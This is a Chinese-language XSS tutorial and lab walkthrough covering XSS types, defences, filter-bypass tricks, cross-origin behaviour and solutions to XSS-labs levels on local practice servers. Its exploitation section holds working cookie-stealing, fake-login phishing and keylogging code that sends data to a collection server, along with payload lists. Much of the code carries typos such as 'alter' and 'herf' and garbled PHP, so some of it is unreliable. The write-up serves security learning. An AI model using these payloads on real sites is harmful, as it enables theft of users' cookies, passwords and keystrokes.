文章目录:
一:前言
1.定义
2.漏洞出现的原因
3.鉴别可能存在XSS漏洞的地方
4.攻击原理
5.危害
6.防御
7.环境
7.1 靶场
7.2 自动扫描工具
7.3 手工测试工具
8.payload是什么
二:常用的标签语法
三:XSS的分类
反射型get
存储型post
DOM型
四:漏洞利用
2.弹窗钓鱼
3.获取键盘记录
4.盲打
五:绕过*
闭合input标签绕过
鼠标事件过滤
空格绕过
大小写绕过防护
双写绕过防护
标签绕过防护
引号过滤绕过
括号绕过
字符拼接绕过
编码绕过
HTTPOnly绕过
注释http://绕过
隐藏的传参闭合绕过
注入绕过
htmlspecialchars函数
六:同源和跨域
1.同源
2.跨域
cors跨域
jsonp跨域
七:XSS-labs靶场练习
Less1:url传参
Less2:闭合input标签
Less3:onclick onfocus onblur事件绕过
Less4:onclick onfocus onblur事件绕过闭合
Less5:a href 标签闭合绕过
Less6:大小写绕过
Less7:双写绕过
Less8:unicode属性值编码绕过
Less9:注释http://绕过
Less10:隐藏的传参闭合绕过
Less11:Referer注入
Less12:User Agent注入
Less14:题有问题
Less15:ng-include文件包涵
Less16:url编码-标签绕过 换行符替换空格绕过
Less17_18:embed标签-鼠标事件闭合绕过
Less19_20:过时
一:前言
1.定义
XSS全称(Cross site scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XSXSS是指攻击者在网页中嵌入客户端脚本代码,通常是javascript编写的危险代码(也可以是ActionScript VBScript) 当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的XSS属于客户端攻击,受害者是用户(如果是管理人员也可以进行服务端攻击)
2.漏洞出现的原因
程序对输入和输出的控制不够严格:在输入到前端时被浏览器当作有效代码解析执行,从而产生危害
3.鉴别可能存在XSS漏洞的地方
鉴别(输入输出的地方):输出的形式是以标签的形式进行展示、弹窗、用户交互
4.攻击原理
第一步:攻击者发现正常网站的xss漏洞,注入一段js代码比如location.href="钓鱼网站"第二步:用户通过客户端-浏览器访问这个网站的页面第三步:服务端-服务器响应了html的页面,这里面包含攻击者的js代码第四步:浏览器加载html文件过程中,自动运行了攻击者的js代码,导致浏览器又继续访问了钓鱼网站用户输入账号密码发给了钓鱼网站第五步:钓鱼网站将数据保存起来盗取信息
5.危害
1.获取用户信息;(如浏览器信息、ip地址、cookie信息等)2.钓鱼;(利用xss漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个网站的登录框,将用户名、密码发送到攻击者服务器)3.注入木马或广告链接;(有些在主站注入非法网站的链接,对公司的声誉有一定的影响4.后台增删改网站数据等操作:(配合CSRF漏洞,骗取用户点击,利用js拟浏览器发包)5.xss蠕虫(微博蠕虫:只要看过某人的微博就自动关注某人;贴吧蠕虫:看过某个帖子就自动回复这个帖子)6.有局限性的键盘记录7.挂马:挂马是指黑客通过各种手段,包括SQL注入、网站敏感文件扫描、服务器漏洞、网站程序0day等获得网站管理员账号,然后登录网站后台,通过数据库“备份/恢复”或者上传漏洞获得一个webshell
6.防御
黑名单:过滤特殊符号及字符如<、>、%、#、/、(、)、script、svg、object、on事件等白名单:只允许特定类型或符号编码及转义输出在标签或属性中进行HTML编码输出在script标签或事件中进行JavaScript编码输出在url中进行url编码。cookie中设置httponly:setcookie将httponly选项设置为true,防范cookie劫持确保执行脚本来源可信:开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP策略 )不使用有缺陷的第三方库
7.环境
7.1 靶场
pikachu靶场:是一个网络安全训练平台,旨在模拟真实世界中的网络攻击和防御场景,帮助用户提高网络安全技能和知识
XSS-labs:是一个专门用于学习和练习跨站脚本攻击(XSS)技术的在线平台
XSS Game:XSS靶场练习
蓝莲花:XSS靶场练习
xss平台:在线平台
7.2 自动扫描工具
APPscan、AwVS、xray等大型漏扫工具、xsstrike等自动化小工具
7.3 手工测试工具
Burpsuite、firefox(hackbar)、360开发的一款浏览器插件:XSSER XSSF,不太好用昂
8.payload是什么
Payload在网络安全中指的是攻击者在利用漏洞时,通过向受攻击的系统发送的恶意代码或指令,用于实现攻击目的的数据包
<script>alert('Zer0Lulz")</script><SCRiPt>AIErT('XSS)</ScRiPt>"><script>alert('XSS')</script>"><SCRiPt>AIErT(XSS')</SCRiPt>=><><script>alert('XSS")</script>=><><ScRiPt>AlErT(XSS’)</ScRiPt>="><script>alert('Xss’)</script>="><ScRiPt>AIErT(XSS")</ScRiPt>='><script>alert('XSS')</script>='><ScRiPt>AIErT(XSS"</ScRiPt>"><<script>alert('XSS’)</script>"><<ScRiPt>AIErT(XSS"</ScRiPt>='><<script>alert(XSS')</script>='><<ScRiPt>AIErT('XSS")</ScRiPt><script>alert(String.fromCharCode(88, 83, 83)</script><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>><script>alert(String.fromCharcode(88,83,83)</script>><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>=><><script>alert(String.fromCharCode(88, 83, 83)</script>=><><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>="><script>alert(String.fromCharCode(88, 83, 83)</script>="><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>='><script>alert(String.fromCharCode(88,83,83)</script>='><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>
'><img src="#" onmouseover="alter('xss')">
二:常用的标签语法
| <script>alert("xss");</script> |
| <img src=1 οnerrοr=alert("xss");> onerror事件是javascript中的事件之一。只要页面中出现脚本错误,就会产生onerror事件 |
<a> | '"><a herf='javascript:alter(123)'>百度</a> |
| <video><source οnerrοr="alert(1)"> |
| <audio src=x οnerrοr=alert("xss");> |
| <input οnfοcus="alert('xss');"> |
| <select οnfοcus=alert(1)></select> |
| <iframe οnlοad=alert("xss");></iframe> |
<details> | 使用open属性触发ontoggle事件,无需用户去触发(可展开和折叠的内容区域) <details open οntοggle="alert('xss');"> |
| <textarea οnfοcus=alert("xss"); autofocus> |
三:XSS的分类
反射型get | 与服务端交互,但是交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等 (中低威漏洞)——>可用于钓鱼、引流、配合其他漏洞如CSRF等 |
存储型post | 交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面 (高威漏洞)——>攻击范围广,流量传播大,可配合其他漏洞 |
DOM型 | 不与后台服务器产生数据交互,通过JS代码操作DOM文档对象模型(html文件)操作前端代码输出的时候产生的漏洞 DM操作:html标签元素节点操作、修改标签属性 DOM型:大部分属于反射型、少部分属于存储型 (中低威漏洞)——>配合长度大小不受限制 |
非持久型XSS攻击 | 非持久型xss攻击是一次性的,仅对当次的页面访问产生影响 要求用户访问一个被攻击者篡改后的链接,用户访问该链接时 被植入的攻击脚本被用户游览器执行,从而达到攻击目的 |
持久型XSS攻击 | 持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在 |
DOM型XSS | DOM型XSS:可能是持久型、也可能是非持久型 |
四:漏洞利用
1.盗取cookie
GET型:加地址
'"><script>document.location = 'http://192.168.31.172/picachu/pkxss/xcookie/cookie.php?cookie='+document.cookie; </script>
POST型:伪造HTML页面,写好攻击代码逻辑
<head><script>//当浏览器加载完页面所有的内容后自动触发执行window.onload=function(){document .getElenentById("postsubnit").click();}</script> </head><body> <form method="post" action="http://192,168.31,110/piknchu/vul/xss/xsspost/xss roflected post php"><input id="xssr in" type="text" name="message" value="<script>document.location ='http://192.168.31.172/pikachu/pkxss/xcookie/cookio.php?cookie=' + document.cookie;</script>"/><input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body>
2.弹窗钓鱼
钓鱼攻击利用页面 D:phpstudy\ww\pikachu\pkxss\xfish<script src="http://192.168.31.172/pikachu/pkxss/xfish/fish.php"></script>
fish.php
<?phperror reporting(0);// var dump($_SERVER);if((!isset($_SERVER['PHP AUTH USER']))|| (!isset($_SERVER['PHP AUTH W'])))(//发送认证框,并给出迷感性的infoheader('Content-type:text/html;charset=utf-8');header("wwW-Authenticate:Basic realm认证"");header('HTTP/1.0 401 Unauthorized');echo "Authorization Required.";exit;else if ((isset($_SERVER['PHP AUTH USER']))&& (isset ($_SERVER['PHP AUTH PW']))){//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后合的IPheader ("location: http://192.168.31.172/pikachu/pkxss/xfish/xfish,php?username{S_SERVER[PHP_AUTH_USER])&password={$_SERVER[PHP_AUTH_pw]}"); ?>
xfish.php
<?phperror reporting(0);include once"../inc/config.inc.php';include once../inc/mysql.inc.php';$link=connect();if(!empty($_GET['username'])&& !empty($_GET['password'])){susernane=$_gET[username'];spassword=$_GET['password"];Sreferer=r";sreferer.=$_SERVER['HTTP REFERER'];Stime=date('Y-m-d q:i:s');$query="insert fish (time,username,password, referer) values ('$time', '$username', '$password','$sreferer'.'$Stime');$result=mysqli_query($link,squery); ?>
3.获取键盘记录
'"><script src="http://192.168.31.172/pikachu/pkxss/rkeypress/rk.js"></script>
rk.js:获取用户按下了哪些键进行拼接起来发送给ajax,然后以post请求发给rkserver.php(每个键通过JS代码映射出数字)
rkserver.php:取出数据
<?phpinclude once'../inc/config.inc.php';include once'../inc/mysql.inc.php';slink=connect();//设置允许被跨域访问header("Access-Control-Allow-0rigin:*");$data =$_PosT['datax'];$query="insert keypress(data) values('$data')",$result=mysqli_query(slink,squery); ?>
4.盲打
定义:XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的也就是通过前端插入攻击代码,在后台管理系统中生效简述:发现某个页面有XSS漏洞,在当前页面提交了XSS的攻击代码,在这个页面上面是不显示的,在其他页面中显示主要针对后台管理系统'"><sCrIpT>alert(后台查看666说明被攻击)</scrIpT>
五:绕过*
alert(123) alert("Hello, world!")函数:用于在浏览器中弹出一个带有指定消息的警告框 confirm("Hello, world!")函数:需要用户确认一下是否要进行操作,提供的框有一个「确定」和「取消」两个按钮 | |
闭合input标签绕过 | |
鼠标事件过滤 | 鼠标事件函数: onblur:离开 |
空格绕过 | |
大小写绕过防护 | |
双写绕过防护 | |
标签绕过防护 | 替换 a href |
引号过滤绕过 | |
括号绕过 | 如果 通常会在浏览器的开发者控制台中显示,而不是弹出一个警告框 |
字符拼接绕过 | |
编码绕过 | 编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制 在线Unicode编码解码 工具 、在线 Unicode 编码转换 |
url编码绕过 ascii码绕过 十六进制hex绕过 base64绕过 js编码 unicode编码 | |
HTTPOnly绕过 | httponly不是防止XXS攻击的,而是防止XXS攻击代码中的JS代码在浏览器上获取cookie信息 第七个参数设置为true |
注释http://绕过 | |
隐藏的传参闭合绕过 | |
注入绕过 | Referer注入 、User Agent注入、Cookie注入 |
htmlspecialchars函数
htmlspecialchars(string,flags,character-set,double_encode)函数 把一些预定义的字符转换为html实体但是这个函数默认配置不会将单引号和双引号过滤,只有设置quotestyle规定如何编码才可以ENT_COMPAT 默认的,仅编码双引号,也就是默认情况下不对单引号进行处理ENT_QUOTES 编码双引号和单引号ENT_NOQUOTES 不编码任何引号预定义字符预定义的字符是:这就是我们学到的html实体编码表&(和号)成为 &(双引号)成为 "(单引号)成为 '<(小于)成为 <>(大于)成为 >导致你提交的script标签再输出的时候变成了&1tscript>不同语言防犯XSS函数PHP :htmlentities()、htmlspecialchars()Python : cgi.escape()ASP :Server.HTMLEncode()ASP.NET: Server.HtmlEncode() 、Microsoft Anti-Cross Site Scripting LibraryJava :xssprotect(Open Source Library)Node.js: node-validator
php文件如下:把预定义的字符"<”(小于)和">"(大于)转换为 HTML 实体:<?php$str ="This is some <b>bold</b> text."echo htmlspecialchars($str);?>在html输出如下:<htm1><head></head><body>This is some <b>bold</b> text.</body></htm1>浏览器输出如下:This is some <b>bold</b> text.
六:同源和跨域
1.同源
定义:对于js代码来说,为了安全考虑,所有浏览器都约定了“同源策略”同源策略禁止页面加载或执行与自身来源不同的域的任何脚本,既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),也就是说恶意的请求了其他网站的页面或者数据,拿到自己的页面上使用如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码非同源的网络请求script的src不受同源机制的影响Tips:下面这些标签跨域加载资源是不受同源策略限制的,(但是资源类型是有限制的)静态资源直接不受同源机制的影响<script src="..."> //加载js执行<img src="..."> //图片<link href="..."> //css<iframe src="..."> //任意资源<a href="..."> // 超链接地址同源策略修改D:\phpstudy\www\pikachu\pkxss\rkeypress\rkserver.php同之前的案例到后台设置好Access-contro1-A11ow-0rigin,设置为*既允许所有人访问。一般公司的网站后台都不会设置*号的//设置允许被跨域访问header("Access-Control-Allow-0rigin:*");
2.跨域
什么是跨域http:// www. jaden.cn :80 /news/index.php协议 子域名 主域名 端口 资源地址当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域我们把不同的域之间请求数据的操作,成为跨域操作;不同域之间进行沟通,叫做跨域不同域示例:http://www.jaden.cn:80http://www.jaden.cn:81https://www.jaden.cn:80http://www.jadens.cn:80
cors跨域
//设置允许被跨域访问:设置响应头键值对header("Access-Control-Allow-0rigin:*");
jsonp跨域
定义:基于script标签的src属性,发送请求,携带一个回调函数参数 js服务器端调用这个函数携带回调函数参数来响应数据 php响应回来之后,回调js中声明的这个函数 js第一个网站PHP:调用发送传值jd_data('aa=1,bb=2');第一个网站JS:执行函数<script src="http//www.jd.com/test.php?callback=jd_data"></script>function jd_data(res){res这个参数就能拿到响应数据}
jd.html :ajax-jq会发生报错
<htm1><head></head><body><button value='走你'><button></body><script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script><script>document.querySelector('button').onclick=fuction(){$.aiax({type:'get'. // get methodurl:"http://192 168.2 110/test.php'dataType:'jsonp'success':function(res){console.log(res);}})}</script> </html>
jd.html利用jsonp代码来实现
<htm1><head></head><body><button value='走你'><button><div id='jd'></div></body><script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script><script>document.queryselector('button').onclick= function(){var scdocument.createlement('script');sc.src='http://192.168.2.110/pikachu/pkxss/rkeypress/test.php?cb=fn';document.body.append(sc);}function fn(data){console.log(data);var diva=document.getElementById('jd');diva.innerHTML=data;}</script> </html>
test.php
<?php$fn=$_GET['cb']; //fnecho $fn."('username=jd&password=666')"; //fn('username=jd&password=666') ?>
七:XSS-labs靶场练习
Less1:url传参
Load URL地址:192.168.2.106/xss-labs/level1.php?name=test查看源码<?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>欢迎用户".$str."</h2>";?><center><img src=level1.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?>确认输出192.168.2.106/xss-labs/level1.php?name=test192.168.2.106/xss-labs/level1.php?name=jaden192.168.2.106/xss-labs/level1.php?name=jaden<script>alert(1)</script>192.168.2.106/xss-labs/level1.php?'"><script>alert('jaden');</script>
Less2:闭合input标签
Load URL地址:192.168.2.106/xss-labs/level2.php?keyword=test查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center><form action=level3.php method=GET><input name=keyword value="'.$str.'"> <input type=submit name=submit value=搜索 /></form></center>";?>确认输出192.168.2.106/xss-labs/level2.php?keyword=test'"><script>alert('jaden');</script>
Less3:onclick onfocus onblur事件绕过
Load URL地址:192.168.2.106/xss-labs/level3.php?writing=wait查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level2.php method=GET><input name=keyword value='".htmlspecialchars($str)."'> //默认双引号,只有设置ENT_QUOTES编码才双引号和单引号<input type=submit name=submit value="搜索"/></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level3.php?writing=wait'onclick='alter(123)' //点击192.168.2.106/xss-labs/level3.php?writing=wait'onfocus='alter(123)' //聚焦192.168.2.106/xss-labs/level3.php?writing=wait'onblur='alter(123)' //离开//onblur='alter(123)' onblur='javascript:alter(123)'192.168.2.106/xss-labs/level3.php?writing=wait'onblur='javascript:alter(123)'
Less4:onclick onfocus onblur事件绕过闭合
Load URL地址:192.168.2.106/xss-labs/level4.php?keyword=try查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str);$str3=str_replace("<","",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level4.php method=GET><input name=keyword value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level4.php?keyword=try'"onclick='alter(123)' //点击192.168.2.106/xss-labs/level4.php?keyword=try'"onfocus='alter(123)' //聚焦192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='alter(123)' //离开192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='javascript:alter(123)'
Less5:a href 标签闭合绕过
Load URL地址:192.168.2.106/xss-labs/level5.php?keyword=find查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level5.php method=GET><input name=keyword value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level5.php?keyword=find'"onclick='alter(123)' //O后面加了横杠O_nclick192.168.2.106/xss-labs/level5.php?keyword=find'"<script> //'<scr_ipt>192.168.2.106/xss-labs/level5.php?keyword=find'"><a herf='javascript:alter(123)'>百度</a>
Less6:大小写绕过
Load URL地址:192.168.2.106/xss-labs/level6.php?keyword=break查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level6.php method=GET><input name=keyword value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level6.php?keyword=break'"><a herf='javascript:alter(123)'>百度</a> //href变成了hr_ef192.168.2.106/xss-labs/level6.php?keyword=break'"><a HERF='javascript:alter(123)'>百度</a> //href大写
Less7:双写绕过
Load URL地址:192.168.2.106/xss-labs/level7.php?keyword=move查看源码<?php ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]);$str2=str_replace("script","",$str);$str3=str_replace("on","",$str2);$str4=str_replace("src","",$str3);$str5=str_replace("data","",$str4);$str6=str_replace("href","",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level7.php method=GET><input name=keyword value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出192.168.2.106/xss-labs/level7.php?keyword=move'"><a herf='javascript:alter(123)'>百度</a> //javascript变成了java,herf也没有了192.168.2.106/xss-labs/level7.php?keyword=move'"><a HERF='javascript:alter(123)'>百度</a> //javascript变成了java,herf也没有了192.168.2.106/xss-labs/level7.php?keyword=move'"><a HEherfRF='javascscriptript:alter(123)'>百度</a> ///双写
Less8:unicode属性值编码绕过
编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制
在线Unicode编码解码 工具 、在线 Unicode 编码转换
Load URL地址:192.168.2.106/xss-labs/level8.php?keyword=nice查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','"',$str6);echo '<center><form action=level8.php method=GET><input name=keyword value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?>确认输出//href变成了hr_ef;javascript变成了javascr_ipt;123被编码了"jaden192.168.2.106/xss-labs/level8.php?keyword=nice'"><a herf='javascript:alter(123)'>百度</a> 192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter("jaden")192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter('jaden') //进行在线编码绕过
Less9:注释http://绕过
Load URL地址:192.168.2.106/xss-labs/level9.php?keyword=not查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','"',$str6);echo '<center><form action=level9.php method=GET><input name=keyword value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpif(false===strpos($str7,'http://')){echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}else{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}?><center><img src=level9.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?>确认输出192.168.2.106/xss-labs/level9.php?keyword=not jaden //链接不合法192.168.2.106/xss-labs/level9.php?keyword=not https://www.baidu.com //链接不合法192.168.2.106/xss-labs/level9.php?keyword=not http://www.baidu.com //链接合法192.168.2.106/xss-labs/level9.php?keyword=not http:/www.baidu.com //链接不合法javascript:alert('jaden')//http://www.baidu.com //变成javascr_ipt:alert('jaden')//http:////单独对javascript进行编码javascript:alert(1)//http://www.baidu.com
Less10:隐藏的传参闭合绕过
Load URL地址:192.168.2.106/xss-labs/level10.php?keyword=well查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc //闭合t_sort,发现没有链接192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'"onclick='alert(123)'//加type='text'让链接显示出来192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'" type='text' onclick='alert(123)'
Less11:Referer注入
Load URL地址:192.168.2.106/xss-labs/level11.php?keyword=good查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ref" value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd //发现没有闭合掉,但是t_ref里面有值192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd type='text' onclick='alert(123)'//利用turp抓吧工具,把t_ref(referer)里面的值替换成 '" type='text' onclick='alert(123)'
Less12:User Agent注入
Load URL地址:192.168.2.106/xss-labs/level12.php?keyword=good查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua" value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd //发现没有闭合掉,但是t_ua里面有值192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd type='text' onclick='alert(123)'//利用turp抓吧工具,把t_ua(User-Agent)里面的值替换成 '" type='text' onclick='alert(123)'
Less13:cookie注入
Load URL地址:192.168.2.106/xss-labs/level13.php?keyword=good查看源码<?php setcookie("user", "call me maybe?", time()+3600);ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_COOKIE["user"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook" value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd //发现没有闭合掉,但是t_cook里面有值192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd type='text' onclick='alert(123)'//利用turp抓吧工具,把t_cook(cookie)里面的值替换成 '" type='text' onclick='alert(123)'
Less14:题有问题
这一关题有问题直接十五关
Load URL地址:192.168.2.106/xss-labs/level14.php?keyword=good查看源码确认输出
Less15:ng-include文件包涵
AngularJS前端框架的指令ng-include(用于包含外部的HTML文件-引入页面)
Load URL地址:192.168.2.106/xss-labs/level15.php?src=jaden查看源码确认输出192.168.2.106/xss-labs/level15.php?src='http://192.168.2.106/xss-labs/level1.php?name=<img src=1 onerror=alter(1)>'
Less16:url编码-标签绕过 换行符替换空格绕过
Load URL地址:192.168.2.106/xss-labs/level16.php?src=jaden查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script"," ",$str);$str3=str_replace(" "," ",$str2);$str4=str_replace("/"," ",$str3);$str5=str_replace(" "," ",$str4);echo "<center>".$str5."</center>";?><center><img src=level16.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";?>确认输出//img有输出但是空格被编码了192.168.2.106/xss-labs/level16.php?src=jaden<img src=1 onerror=alter(123)>/'//将空格的编码替换成回车的编码进行尝试%0A回车符号192.168.2.106/xss-labs/level16.php?src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>'
Less17_18:embed标签-鼠标事件闭合绕过
embed标签:定义了一个区域,可以放图片、视频、音频等内容
Load URL地址:192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b查看源码确认输出//发现以src的属性值进行了输出192.168.2.106/xss-labs/level17.php?arg01=a&arg02=bjaden//用onmouseover鼠标事件192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'onmouseover=alter("jaden")//用onmouseover鼠标事件192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'οnclick=alter("jaden")
Less19_20:过时
flash插件技术比较老了,已经全面停用了禁用了,就不做了